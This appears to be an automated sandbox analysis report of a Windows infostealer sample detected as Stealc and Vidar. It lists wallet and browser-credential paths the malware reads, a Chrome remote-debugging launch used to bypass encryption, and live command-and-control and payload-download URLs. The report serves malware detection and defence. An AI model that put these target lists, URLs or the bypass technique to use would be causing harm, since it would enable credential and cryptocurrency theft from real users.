Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2185223333.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2700782592.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://msn.comXIDv10X	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpGdO	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpzB	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllw	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpURE=x86PROCESSOR_	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe50623847d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.238	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b?rn=1732510010756&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3C5B860E698662B2092E934C680C6309&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402415262_1QYE6F4QD8CN041QB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402414228_1EUMX2S6TUEXTBXLL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732510017705&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402415261_1RYOARG5S55IRLQU7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402456886_16PSERWAUMTCB5AWR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402414375_1AVQBVS8V3X3ACPMA&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732510010753&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402414229_1P4RDVHBQE93FAZFW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402415510_1LQQ8WSBAXW97X0WT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries
